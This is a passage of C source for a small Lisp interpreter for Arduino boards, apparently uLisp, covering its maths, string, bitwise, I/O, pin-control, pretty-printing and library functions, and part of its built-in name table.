floatp(first(args)) ? tee : nil;\n}\n\nobject *fn_sin (object *args, object *env) {\n (void) env;\n return makefloat(sin(intfloat(first(args))));\n}\n\nobject *fn_cos (object *args, object *env) {\n (void) env;\n return makefloat(cos(intfloat(first(args))));\n}\n\nobject *fn_tan (object *args, object *env) {\n (void) env;\n return makefloat(tan(intfloat(first(args))));\n}\n\nobject *fn_asin (object *args, object *env) {\n (void) env;\n return makefloat(asin(intfloat(first(args))));\n}\n\nobject *fn_acos (object *args, object *env) {\n (void) env;\n return makefloat(acos(intfloat(first(args))));\n}\n\nobject *fn_atan (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n float div = 1.0;\n args = cdr(args);\n if (args != NULL) div = intfloat(first(args));\n return makefloat(atan2(intfloat(arg), div));\n}\n\nobject *fn_sinh (object *args, object *env) {\n (void) env;\n return makefloat(sinh(intfloat(first(args))));\n}\n\nobject *fn_cosh (object *args, object *env) {\n (void) env;\n return makefloat(cosh(intfloat(first(args))));\n}\n\nobject *fn_tanh (object *args, object *env) {\n (void) env;\n return makefloat(tanh(intfloat(first(args))));\n}\n\nobject *fn_exp (object *args, object *env) {\n (void) env;\n return makefloat(exp(intfloat(first(args))));\n}\n\nobject *fn_sqrt (object *args, object *env) {\n (void) env;\n return makefloat(sqrt(intfloat(first(args))));\n}\n\nobject *fn_log (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n float fresult = log(intfloat(arg));\n args = cdr(args);\n if (args == NULL) return makefloat(fresult);\n else return makefloat(fresult \/ log(intfloat(first(args))));\n}\n\nint intpower (int base, int exp) {\n int result = 1;\n while (exp) {\n if (exp & 1) result = result * base;\n exp = exp \/ 2;\n base = base * base;\n }\n return result;\n}\n\nobject *fn_expt (object *args, object *env) {\n (void) env;\n object *arg1 = first(args); object *arg2 = second(args);\n float float1 = intfloat(arg1);\n float value = log(abs(float1)) * intfloat(arg2);\n if (integerp(arg1) && integerp(arg2) && (integer(arg2) > 0) && (abs(value) < 21.4875)) \n return number(intpower(integer(arg1), integer(arg2)));\n if (float1 < 0) error3(EXPT, PSTR(\"invalid result\"));\n return makefloat(exp(value));\n}\n\nobject *fn_ceiling (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n args = cdr(args);\n if (args != NULL) return number(ceil(intfloat(arg) \/ intfloat(first(args))));\n else return number(ceil(intfloat(arg)));\n}\n\nobject *fn_floor (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n args = cdr(args);\n if (args != NULL) return number(floor(intfloat(arg) \/ intfloat(first(args))));\n else return number(floor(intfloat(arg)));\n}\n\nobject *fn_truncate (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n args = cdr(args);\n if (args != NULL) return number((int)(intfloat(arg) \/ intfloat(first(args))));\n else return number((int)(intfloat(arg)));\n}\n\nint myround (float number) {\n return (number >= 0) ? (int)(number + 0.5) : (int)(number - 0.5);\n}\n\nobject *fn_round (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n args = cdr(args);\n if (args != NULL) return number(myround(intfloat(arg) \/ intfloat(first(args))));\n else return number(myround(intfloat(arg)));\n}\n\n\/\/ Characters\n\nobject *fn_char (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (!stringp(arg)) error2(arg, PSTR(\"is not a string\"));\n char c = nthchar(arg, integer(second(args)));\n if (c == 0) error3(CHAR, PSTR(\"index out of range\"));\n return character(c);\n}\n\nobject *fn_charcode (object *args, object *env) {\n (void) env;\n return number(fromchar(first(args)));\n}\n\nobject *fn_codechar (object *args, object *env) {\n (void) env;\n return character(integer(first(args)));\n}\n\nobject *fn_characterp (object *args, object *env) {\n (void) env;\n return characterp(first(args)) ? tee : nil;\n}\n\n\/\/ Strings\n\nobject *fn_stringp (object *args, object *env) {\n (void) env;\n return stringp(first(args)) ? tee : nil;\n}\n\nbool stringcompare (object *args, bool lt, bool gt, bool eq, symbol_t name) {\n object *arg1 = first(args);\n object *arg2 = second(args);\n if (!stringp(arg1) || !stringp(arg2)) error3(name, PSTR(\"argument is not a string\"));\n arg1 = cdr(arg1);\n arg2 = cdr(arg2);\n while ((arg1 != NULL) || (arg2 != NULL)) {\n if (arg1 == NULL) return lt;\n if (arg2 == NULL) return gt;\n if (arg1->integer < arg2->integer) return lt;\n if (arg1->integer > arg2->integer) return gt;\n arg1 = car(arg1);\n arg2 = car(arg2);\n }\n return eq;\n}\n\nobject *fn_stringeq (object *args, object *env) {\n (void) env;\n return stringcompare(args, false, false, true, STRINGEQ) ? tee : nil;\n}\n\nobject *fn_stringless (object *args, object *env) {\n (void) env;\n return stringcompare(args, true, false, false, STRINGLESS) ? tee : nil;\n}\n\nobject *fn_stringgreater (object *args, object *env) {\n (void) env;\n return stringcompare(args, false, true, false, STRINGGREATER) ? tee : nil;\n}\n\nobject *fn_sort (object *args, object *env) {\n if (first(args) == NULL) return nil;\n object *list = cons(nil,first(args));\n push(list,GCStack);\n object *predicate = second(args);\n object *compare = cons(NULL,cons(NULL,NULL));\n object *ptr = cdr(list);\n while (cdr(ptr) != NULL) {\n object *go = list;\n while (go != ptr) {\n car(compare) = car(cdr(ptr));\n car(cdr(compare)) = car(cdr(go));\n if (apply(predicate, compare, env)) break;\n go = cdr(go);\n }\n if (go != ptr) {\n object *obj = cdr(ptr);\n cdr(ptr) = cdr(obj);\n cdr(obj) = cdr(go);\n cdr(go) = obj;\n } else ptr = cdr(ptr);\n }\n pop(GCStack);\n return cdr(list);\n}\n\nobject *fn_stringfn (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n int type = arg->type;\n if (type == STRING) return arg;\n object *obj = myalloc();\n obj->type = STRING;\n if (type == CHARACTER) {\n object *cell = myalloc();\n cell->car = NULL;\n uint8_t shift = (sizeof(int)-1)*8;\n cell->integer = fromchar(arg)<<shift;\n obj->cdr = cell;\n } else if (type == SYMBOL) {\n char *s = name(arg);\n char ch = *s++;\n object *head = NULL;\n int chars = 0;\n while (ch) {\n if (ch == '\\\\') ch = *s++;\n buildstring(ch, &chars, &head);\n ch = *s++;\n }\n obj->cdr = head;\n } else error(PSTR(\"Cannot convert to string\"));\n return obj;\n}\n\nobject *fn_concatenate (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n symbol_t name = arg->name;\n if (name != STRINGFN) error3(CONCATENATE, PSTR(\"only supports strings\"));\n args = cdr(args);\n object *result = myalloc();\n result->type = STRING;\n object *head = NULL;\n int chars = 0;\n while (args != NULL) {\n object *obj = first(args);\n if (obj->type != STRING) error2(obj, PSTR(\"not a string\"));\n obj = cdr(obj);\n while (obj != NULL) {\n int quad = obj->integer;\n while (quad != 0) {\n char ch = quad>>((sizeof(int)-1)*8) & 0xFF;\n buildstring(ch, &chars, &head);\n quad = quad<<8;\n }\n obj = car(obj);\n }\n args = cdr(args);\n }\n result->cdr = head;\n return result;\n}\n\nobject *fn_subseq (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (!stringp(arg)) error3(SUBSEQ, PSTR(\"first argument is not a string\"));\n int start = integer(second(args));\n int end;\n args = cddr(args);\n if (args != NULL) end = integer(car(args)); else end = stringlength(arg);\n object *result = myalloc();\n result->type = STRING;\n object *head = NULL;\n int chars = 0;\n for (int i=start; i<end; i++) {\n char ch = nthchar(arg, i);\n if (ch == 0) error3(SUBSEQ, PSTR(\"index out of range\"));\n buildstring(ch, &chars, &head);\n }\n result->cdr = head;\n return result;\n}\n\nint gstr () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n char c = nthchar(GlobalString, GlobalStringIndex++);\n return (c != 0) ? c : '\\n'; \/\/ -1?\n}\n\nobject *fn_readfromstring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n if (!stringp(arg)) error3(READFROMSTRING, PSTR(\"argument is not a string\"));\n GlobalString = arg;\n GlobalStringIndex = 0;\n return read(gstr);\n}\n\nvoid pstr (char c) {\n buildstring(c, &GlobalStringIndex, &GlobalString);\n}\n \nobject *fn_princtostring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n object *obj = myalloc();\n obj->type = STRING;\n GlobalString = NULL;\n GlobalStringIndex = 0;\n char temp = PrintReadably;\n PrintReadably = 0;\n printobject(arg, pstr);\n PrintReadably = temp;\n obj->cdr = GlobalString;\n return obj;\n}\n\nobject *fn_prin1tostring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n object *obj = myalloc();\n obj->type = STRING;\n GlobalString = NULL;\n GlobalStringIndex = 0;\n printobject(arg, pstr);\n obj->cdr = GlobalString;\n return obj;\n}\n\n\/\/ Bitwise operators\n\nobject *fn_logand (object *args, object *env) {\n (void) env;\n int result = -1;\n while (args != NULL) {\n result = result & integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_logior (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n result = result | integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_logxor (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n result = result ^ integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_lognot (object *args, object *env) {\n (void) env;\n int result = integer(car(args));\n return number(~result);\n}\n\nobject *fn_ash (object *args, object *env) {\n (void) env;\n int value = integer(first(args));\n int count = integer(second(args));\n if (count >= 0)\n return number(value << count);\n else\n return number(value >> abs(count));\n}\n\nobject *fn_logbitp (object *args, object *env) {\n (void) env;\n int index = integer(first(args));\n int value = integer(second(args));\n return (bitRead(value, index) == 1) ? tee : nil;\n}\n\n\/\/ System functions\n\nobject *fn_eval (object *args, object *env) {\n return eval(first(args), env);\n}\n\nobject *fn_globals (object *args, object *env) {\n (void) args;\n if (GlobalEnv == NULL) return nil;\n return fn_mapcar(cons(symbol(CAR),cons(GlobalEnv,nil)), env);\n}\n\nobject *fn_locals (object *args, object *env) {\n (void) args;\n return env;\n}\n\nobject *fn_makunbound (object *args, object *env) {\n (void) env;\n object *key = first(args);\n deletesymbol(key->name);\n return (delassoc(key, &GlobalEnv) != NULL) ? tee : nil;\n}\n\nobject *fn_break (object *args, object *env) {\n (void) args;\n pfstring(PSTR(\"\\rBreak!\\r\"), pserial);\n BreakLevel++;\n repl(env);\n BreakLevel--;\n return nil;\n}\n\nobject *fn_read (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n return read(gfun);\n}\n\nobject *fn_prin1 (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n printobject(obj, pfun);\n return obj;\n}\n\nobject *fn_print (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n pln(pfun);\n printobject(obj, pfun);\n (pfun)(' ');\n return obj;\n}\n\nobject *fn_princ (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printobject(obj, pfun);\n PrintReadably = temp;\n return obj;\n}\n\nobject *fn_terpri (object *args, object *env) {\n (void) env;\n pfun_t pfun = pstreamfun(args);\n pln(pfun);\n return nil;\n}\n\nobject *fn_readbyte (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n int c = gfun();\n return (c == -1) ? nil : number(c);\n}\n\nobject *fn_readline (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n return readstring('\\n', gfun);\n}\n\nobject *fn_writebyte (object *args, object *env) {\n (void) env;\n int value = integer(first(args));\n pfun_t pfun = pstreamfun(cdr(args));\n (pfun)(value);\n return nil;\n}\n\nobject *fn_writestring (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printstring(obj, pfun);\n PrintReadably = temp;\n return nil;\n}\n\nobject *fn_writeline (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printstring(obj, pfun);\n pln(pfun);\n PrintReadably = temp;\n return nil;\n}\n\nobject *fn_restarti2c (object *args, object *env) {\n (void) env;\n int stream = first(args)->integer;\n args = cdr(args);\n int read = 0; \/\/ Write\n I2CCount = 0;\n if (args != NULL) {\n object *rw = first(args);\n if (integerp(rw)) I2CCount = integer(rw);\n read = (rw != NULL);\n }\n int address = stream & 0xFF;\n if (stream>>8 != I2CSTREAM) error3(RESTARTI2C, PSTR(\"not i2c\"));\n return I2Crestart(address, read) ? tee : nil;\n}\n\nobject *fn_gc (object *obj, object *env) {\n int initial = Freespace;\n unsigned long start = micros();\n gc(obj, env);\n unsigned long elapsed = micros() - start;\n pfstring(PSTR(\"Space: \"), pserial);\n pint(Freespace - initial, pserial);\n pfstring(PSTR(\" bytes, Time: \"), pserial);\n pint(elapsed, pserial);\n pfstring(PSTR(\" us\\r\"), pserial);\n return nil;\n}\n\nobject *fn_room (object *args, object *env) {\n (void) args, (void) env;\n return number(Freespace);\n}\n\nobject *fn_saveimage (object *args, object *env) {\n if (args != NULL) args = eval(first(args), env);\n return number(saveimage(args));\n}\n\nobject *fn_loadimage (object *args, object *env) {\n (void) env;\n if (args != NULL) args = first(args);\n return number(loadimage(args));\n}\n\nobject *fn_cls (object *args, object *env) {\n (void) args, (void) env;\n pserial(12);\n return nil;\n}\n\n\/\/ Arduino procedures\n\nobject *fn_pinmode (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n int pm = INPUT;\n object *mode = second(args);\n if (integerp(mode)) {\n int nmode = integer(mode);\n if (nmode == 1) pm = OUTPUT; else if (nmode == 2) pm = INPUT_PULLUP;\n #if defined(INPUT_PULLDOWN)\n else if (nmode == 4) pm = INPUT_PULLDOWN;\n #endif\n } else if (mode != nil) pm = OUTPUT;\n pinMode(pin, pm);\n return nil;\n}\n\nobject *fn_digitalread (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n if (digitalRead(pin) != 0) return tee; else return nil;\n}\n\nobject *fn_digitalwrite (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n object *mode = second(args);\n if (integerp(mode)) digitalWrite(pin, mode->integer);\n else digitalWrite(pin, (mode != nil));\n return mode;\n}\n\nobject *fn_analogread (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n checkanalogread(pin);\n return number(analogRead(pin));\n}\n \nobject *fn_analogwrite (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n checkanalogwrite(pin);\n object *value = second(args);\n analogWrite(pin, integer(value));\n return value;\n}\n\nobject *fn_delay (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n delay(integer(arg1));\n return arg1;\n}\n\nobject *fn_millis (object *args, object *env) {\n (void) args, (void) env;\n return number(millis());\n}\n\nobject *fn_sleep (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n sleep(integer(arg1));\n return arg1;\n}\n\nobject *fn_note (object *args, object *env) {\n (void) env;\n static int pin = 255;\n if (args != NULL) {\n pin = integer(first(args));\n int note = 0;\n if (cddr(args) != NULL) note = integer(second(args));\n int octave = 0;\n if (cddr(args) != NULL) octave = integer(third(args));\n playnote(pin, note, octave);\n } else nonote(pin);\n return nil;\n}\n\n\/\/ Tree Editor\n\nobject *fn_edit (object *args, object *env) {\n object *fun = first(args);\n object *pair = findvalue(fun, env);\n clrflag(EXITEDITOR);\n object *arg = edit(eval(fun, env));\n cdr(pair) = arg;\n return arg;\n}\n\nobject *edit (object *fun) {\n while (1) {\n if (tstflag(EXITEDITOR)) return fun;\n char c = gserial();\n if (c == 'q') setflag(EXITEDITOR);\n else if (c == 'b') return fun;\n else if (c == 'r') fun = read(gserial);\n else if (c == '\\n') { pfl(pserial); superprint(fun, 0, pserial); pln(pserial); }\n else if (c == 'c') fun = cons(read(gserial), fun);\n else if (atom(fun)) pserial('!');\n else if (c == 'd') fun = cons(car(fun), edit(cdr(fun)));\n else if (c == 'a') fun = cons(edit(car(fun)), cdr(fun));\n else if (c == 'x') fun = cdr(fun);\n else pserial('?');\n }\n}\n\n\/\/ Pretty printer\n\nconst int PPINDENT = 2;\nconst int PPWIDTH = 80;\n\nvoid pcount (char c) {\n LastPrint = c;\n if (c == '\\n') GlobalStringIndex++;\n GlobalStringIndex++;\n}\n \nint atomwidth (object *obj) {\n GlobalStringIndex = 0;\n printobject(obj, pcount);\n return GlobalStringIndex;\n}\n\nboolean quoted (object *obj) {\n return (consp(obj) && car(obj) != NULL && car(obj)->name == QUOTE && consp(cdr(obj)) && cddr(obj) == NULL);\n}\n\nint subwidth (object *obj, int w) {\n if (atom(obj)) return w - atomwidth(obj);\n if (quoted(obj)) return subwidthlist(car(cdr(obj)), w - 1);\n return subwidthlist(obj, w - 1);\n}\n\nint subwidthlist (object *form, int w) {\n while (form != NULL && w >= 0) {\n if (atom(form)) return w - (2 + atomwidth(form));\n w = subwidth(car(form), w - 1);\n form = cdr(form);\n }\n return w;\n}\n\nvoid superprint (object *form, int lm, pfun_t pfun) {\n if (atom(form)) {\n if (symbolp(form) && form->name == NOTHING) pstring(name(form), pfun);\n else printobject(form, pfun);\n }\n else if (quoted(form)) { pfun('\\''); superprint(car(cdr(form)), lm + 1, pfun); }\n else if (subwidth(form, PPWIDTH - lm) >= 0) supersub(form, lm + PPINDENT, 0, pfun);\n else supersub(form, lm + PPINDENT, 1, pfun);\n}\n\nconst int ppspecials = 15;\nconst char ppspecial[ppspecials] PROGMEM = \n { DOTIMES, DOLIST, IF, SETQ, TEE, LET, LETSTAR, LAMBDA, WHEN, UNLESS, WITHI2C, WITHSERIAL, WITHSPI, WITHSDCARD, FORMILLIS };\n\nvoid supersub (object *form, int lm, int super, pfun_t pfun) {\n int special = 0, separate = 1;\n object *arg = car(form);\n if (symbolp(arg)) {\n int name = arg->name;\n if (name == DEFUN) special = 2;\n else for (int i=0; i<ppspecials; i++) {\n if (name == ppspecial[i]) { special = 1; break; } \n } \n }\n while (form != NULL) {\n if (atom(form)) { pfstring(PSTR(\" . \"), pfun); printobject(form, pfun); pfun(')'); return; }\n else if (separate) { pfun('('); separate = 0; }\n else if (special) { pfun(' '); special--; }\n else if (!super) pfun(' ');\n else { pln(pfun); indent(lm, pfun); }\n superprint(car(form), lm, pfun);\n form = cdr(form); \n }\n pfun(')'); return;\n}\n\nobject *fn_pprint (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n pln(pfun);\n superprint(obj, 0, pfun);\n return symbol(NOTHING);\n}\n\nobject *fn_pprintall (object *args, object *env) {\n (void) args, (void) env;\n object *globals = GlobalEnv;\n while (globals != NULL) {\n object *pair = first(globals);\n object *var = car(pair);\n object *val = cdr(pair);\n if (consp(val) && symbolp(car(val)) && car(val)->name == LAMBDA) {\n pln(pserial);\n superprint(cons(symbol(DEFUN), cons(var, cdr(val))), 0, pserial);\n pln(pserial);\n }\n globals = cdr(globals);\n }\n return symbol(NOTHING);\n}\n\n\/\/ LispLibrary\n\nobject *fn_require (object *args, object *env) {\n object *arg = first(args);\n object *globals = GlobalEnv;\n if (!symbolp(arg)) error3(REQUIRE, PSTR(\"argument is not a symbol\"));\n while (globals != NULL) {\n object *pair = first(globals);\n object *var = car(pair);\n if (symbolp(var) && var == arg) return nil;\n globals = cdr(globals);\n }\n GlobalStringIndex = 0;\n object *line = read(glibrary);\n while (line != NULL) {\n \/\/ Is this the definition we want\n int fname = first(line)->name;\n if ((fname == DEFUN || fname == DEFVAR) && symbolp(second(line)) && second(line)->name == arg->name) {\n eval(line, env);\n return tee;\n }\n line = read(glibrary);\n }\n return nil; \n}\n\nobject *fn_listlibrary (object *args, object *env) {\n (void) args, (void) env;\n GlobalStringIndex = 0;\n object *line = read(glibrary);\n while (line != NULL) {\n int fname = first(line)->name;\n if (fname == DEFUN || fname == DEFVAR) {\n pstring(name(second(line)), pserial); pserial(' ');\n }\n line = read(glibrary);\n }\n return symbol(NOTHING); \n}\n\n\/\/ Insert your own function definitions here\n\n\/\/ Built-in procedure names - stored in PROGMEM\n\nconst char string0[] PROGMEM = \"nil\";\nconst char string1[] PROGMEM = \"t\";\nconst char string2[] PROGMEM = \"nothing\";\nconst char string3[] PROGMEM = \"&optional\";\nconst char string4[] PROGMEM = \"&rest\";\nconst char string5[] PROGMEM = \"lambda\";\nconst char string6[] PROGMEM = \"let\";\nconst char string7[] PROGMEM = \"let*\";\nconst char string8[] PROGMEM = \"closure\";\nconst char string9[] PROGMEM = \"special_forms\";\nconst char string10[] PROGMEM = \"quote\";\nconst char string11[] PROGMEM = \"defun\";\nconst char string12[] PROGMEM = \"defvar\";\nconst char string13[] PROGMEM = \"setq\";\nconst char string14[] PROGMEM = \"loop\";\nconst char string15[] PROGMEM = \"push\";\nconst char string16[] PROGMEM = \"pop\";\nconst char string17[] PROGMEM = \"incf\";\nconst char string18[] PROGMEM = \"decf\";\nconst char string19[] PROGMEM = \"setf\";\nconst char string20[] PROGMEM = \"dolist\";\nconst char string21[] PROGMEM = \"dotimes\";\nconst char string22[] PROGMEM = \"trace\";\nconst char string23[] PROGMEM = \"untrace\";\nconst char string24[] PROGMEM = \"for-millis\";\nconst char string25[] PROGMEM = \"with-serial\";\nconst char string26[] PROGMEM = \"with-i2c\";\nconst char string27[] PROGMEM = \"with-spi\";\nconst char string28[] PROGMEM = \"with-sd-card\";\nconst char string29[] PROGMEM = \"tail_forms\";\nconst char string30[] PROGMEM = \"progn\";\nconst char string31[] PROGMEM = \"return\";\nconst char string32[] PROGMEM = \"if\";\nconst char string33[] PROGMEM = \"cond\";\nconst char string34[] PROGMEM = \"when\";\nconst char string35[] PROGMEM = \"unless\";\nconst char string36[] PROGMEM = \"case\";\nconst char string37[] PROGMEM = \"and\";\nconst char string38[] PROGMEM = \"or\";\nconst char string39[] PROGMEM = \"functions\";\nconst char string40[] PROGMEM = \"not\";\nconst char string41[] PROGMEM = \"null\";\nconst char string42[] PROGMEM = \"cons\";\nconst char string43[] PROGMEM = \"atom\";\nconst char string44[] PROGMEM = \"listp\";\nconst char string45[] PROGMEM = \"consp\";\nconst char string46[] PROGMEM = \"symbolp\";\nconst char string47[] PROGMEM = \"streamp\";\nconst char string48[] PROGMEM = \"eq\";\nconst char string49[] PROGMEM = \"car\";\nconst char string50[] PROGMEM = \"first\";\nconst char string51[] PROGMEM = \"cdr\";\nconst char string52[] PROGMEM = \"rest\";\nconst char string53[] PROGMEM = \"caar\";\nconst char string54[] PROGMEM = \"cadr\";\nconst char string55[] PROGMEM = \"second\";\nconst char string56[] PROGMEM = \"cdar\";\nconst char string57[] PROGMEM = \"cddr\";\nconst char string58[] PROGMEM = \"caaar\";\nconst char string59[] PROGMEM = \"caadr\";\nconst char string60[] PROGMEM = \"cadar\";\nconst char string61[] PROGMEM = \"caddr\";\nconst char string62[] PROGMEM = \"third\";\nconst char string63[] PROGMEM = \"cdaar\";\nconst char string64[] PROGMEM = \"cdadr\";\nconst char string65[] PROGMEM = \"cddar\";\nconst char string66[] PROGMEM = \"cdddr\";\nconst char string67[] PROGMEM = \"length\";\nconst char string68[] PROGMEM = \"list\";\nconst char string69[] PROGMEM = \"reverse\";\nconst char string70[] PROGMEM = \"nth\";\nconst char string71[] PROGMEM = \"assoc\";\nconst char string72[] PROGMEM = \"member\";\nconst char string73[] PROGMEM = \"apply\";\nconst char string74[] PROGMEM = \"funcall\";\nconst char string75[] PROGMEM = \"append\";\nconst char string76[] PROGMEM = \"mapc\";\nconst char string77[] PROGMEM = \"mapcar\";\nconst char string78[] PROGMEM = \"mapcan\";\nconst char string79[] PROGMEM = \"+\";\nconst char string80[] PROGMEM = \"-\";\nconst char string81[] PROGMEM = \"*\";\nconst char string82[] PROGMEM = \"\/\";\nconst char string83[] PROGMEM = \"mod\";\nconst char string84[] PROGMEM = \"1+\";\nconst char string85[] PROGMEM = \"1-\";\nconst char string86[] PROGMEM = \"abs\";\nconst char string87[] PROGMEM = \"random\";\nconst char string88[] PROGMEM = \"max\";\nconst char string89[] PROGMEM = \"min\";\nconst char string90[] PROGMEM = \"\/=\";\nconst char string91[] PROGMEM = \"=\";\nconst char string92[] PROGMEM = \"<\";\nconst char string93[] PROGMEM = \"<=\";\nconst char string94[] PROGMEM = \">\";\nconst char string95[] PROGMEM = \">=\";\nconst char string96[] PROGMEM = \"plusp\";\nconst char string97[] PROGMEM = \"minusp\";\nconst char string98[] PROGMEM = \"zerop\";\nconst char string99[] PROGMEM = \"oddp\";\nconst char string100[] PROGMEM = \"evenp\";\nconst char string101[] PROGMEM = \"integerp\";\nconst char string102[] PROGMEM = \"numberp\";\nconst char string103[] PROGMEM = \"float\";\nconst char string104[] PROGMEM = \"floatp\";\nconst char string105[] PROGMEM = \"sin\";\nconst char string106[] PROGMEM = \"cos\";\nconst char string107[] PROGMEM = \"tan\";\nconst char string108[] PROGMEM = \"asin\";\nconst char string109[] PROGMEM = \"acos\";\nconst char string110[] PROGMEM = \"atan\";\nconst char string111[] PROGMEM = \"sinh\";\nconst char string112[] PROGMEM = \"cosh\";\nconst char string113[] PROGMEM = \"tanh\";\nconst char string114[] PROGMEM = \"exp\";\nconst char string115[] PROGMEM = \"sqrt\";\nconst char string116[] PROGMEM = \"log\";\nconst char string117[] PROGMEM = \"expt\";\nconst char string118[] PROGMEM = \"ceiling\";\nconst char string119[] PROGMEM = \"floor\";\nconst char string120[] PROGMEM = \"truncate\";\nconst char string121[] PROGMEM = \"round\";\nconst char string122[] PROGMEM = \"char\";\nconst char string123[] PROGMEM = \"char-code\";\nconst char string124[] PROGMEM = \"code-char\";\nconst char string125[] PROGMEM = \"characterp\";\nconst char string126[] PROGMEM = \"stringp\";\nconst char string127[] PROGMEM = \"string=\";\nconst char string128[] PROGMEM = \"string<\";\nconst char string129[] PROGMEM = \"string>\";\nconst char string130[] PROGMEM = \"sort\";\nconst char string131[] PROGMEM = \"string\";\nconst char string132[] PROGMEM = \"concatenate\";\nconst char string133[] PROGMEM = \"subseq\";\nconst char string134[] PROGMEM = \"read-from-string\";\nconst char string135[] PROGMEM = \"princ-to-string\";\nconst char string136[] PROGMEM = \"prin1-to-string\";\nconst char string137[] PROGMEM = \"logand\";\nconst char string138[] PROGMEM = \"logior\";\nconst char string139[] PROGMEM = \"logxor\";\nconst char string140[] PROGMEM = \"lognot\";\nconst char string141[] PROGMEM = \"ash\";\nconst char string142[] PROGMEM = \"logbitp\";\nconst char string143[] PROGMEM = \"eval\";\nconst char string144[] PROGMEM = \"globals\";\nconst char string145[] PROGMEM = \"locals\";\nconst char string146[] PROGMEM = \"makunbound\";\nconst char string147[] PROGMEM = \"break\";\nconst char string148[] PROGMEM = \"read\";\nconst char string149[] PROGMEM = \"prin1\";\nconst char string150[] PROGMEM = \"print\";\nconst char string151[] PROGMEM = \"princ\";\nconst char string152[] PROGMEM = \"terpri\";\nconst char string153[] PROGMEM = \"read-byte\";\nconst char string154[] PROGMEM = \"read-line\";\nconst char string155[] PROGMEM = \"write-byte\";\nconst char string156[] PROGMEM = \"write-string\";\nconst char string157[] PROGMEM = \"write-line\";\nconst char string158[] PROGMEM = \"restart-i2c\";\nconst char string159[] PROGMEM = \"gc\";\nconst char string160[] PROGMEM = \"room\";\nconst char string161[] PROGMEM = \"save-image\";\nconst char string162[] PROGMEM = \"load-image\";\nconst char string163[] PROGMEM = \"cls\";\nconst char string164[] PROGMEM = \"pinmode\";\nconst char string165[] PROGMEM = \"digitalread\";\nconst char string166[] PROGMEM = \"digitalwrite\";\nconst char string167[] PROGMEM = \"analogread\";\nconst char string168[] PROGMEM = \"analogwrite\";\nconst char string169[] PROGMEM = \"delay\";\nconst char string170[] PROGMEM = \"millis\";\nconst char string171[] PROGMEM = \"sleep\";\nconst char string172[] PROGMEM = \"note\";\nconst char string173[] PROGMEM = \"edit\";\nconst char string174[] PROGMEM = \"pprint\";\nconst char string175[] PROGMEM = \"pprintall\";\nconst char string176[] PROGMEM = \"require\";\nconst char string177[] PROGMEM = \"list-library\";\n\nconst tbl_entry_t lookup_table[] PROGMEM = {\n { string0, NULL, 0, 0 },\n { string1, NULL, 0, 0 },\n { string2, NULL, 0, 0 },\n { string3, NULL, 0, 0 },\n { string4, NULL, 0, 0 },\n { string5, NULL, 0, 127 },\n { string6, NULL, 0, 127 },\n { string7, NULL, 0, 127 },\n { string8, NULL, 0, 127 },\n { string9, NULL, NIL, NIL },\n { string10, sp_quote, 1, 1 },\n { string11, sp_defun, 0, 127 },\n { string12, sp_defvar, 2, 2 },\n { string13, sp_setq, 2, 2 },\n { string14, sp_loop, 0, 127 },\n { string15, sp_push, 2, 2 },\n { string16, sp_pop, 1, 1 },\n { string17, sp_incf, 1, 2 },\n { string18, sp_decf, 1, 2 },\n { string19, sp_setf, 2, 2 },\n { string20, sp_dolist, 1, 127 },\n { string21, sp_dotimes, 1, 127 },\n { string22, sp_trace, 0, 1 },\n { string23, sp_untrace, 0, 1 },\n { string24, sp_formillis, 1, 127 },\n { string25, sp_withserial, 1, 127 },\n { string26, sp_withi2c, 1, 127 },\n { string27, sp_withspi, 1, 127 },\n { string28, sp_withsdcard, 2, 127 },\n { string29, NULL, NIL, NIL },\n { string30, tf_progn, 0, 127 },\n { string31, tf_return, 0, 127 },\n { string32, tf_if, 2, 3 },\n { string33, tf_cond, 0, 127 },\n { string34, tf_when, 1, 127 },\n { string35, tf_unless, 1, 127 },\n { string36, tf_case, 1, 127 },\n { string37, tf_and, 0, 127 },\n { string38, tf_or, 0, 127 },\n { string39, NULL, NIL, NIL },\n { string40, fn_not, 1, 1 },\n { string41, fn_not, 1, 1 },\n { string42, fn_cons, 2, 2 },\n { string43, fn_atom, 1, 1 },\n { string44, fn_listp, 1, 1 },\n { string45, fn_consp, 1, 1 },\n { string46, 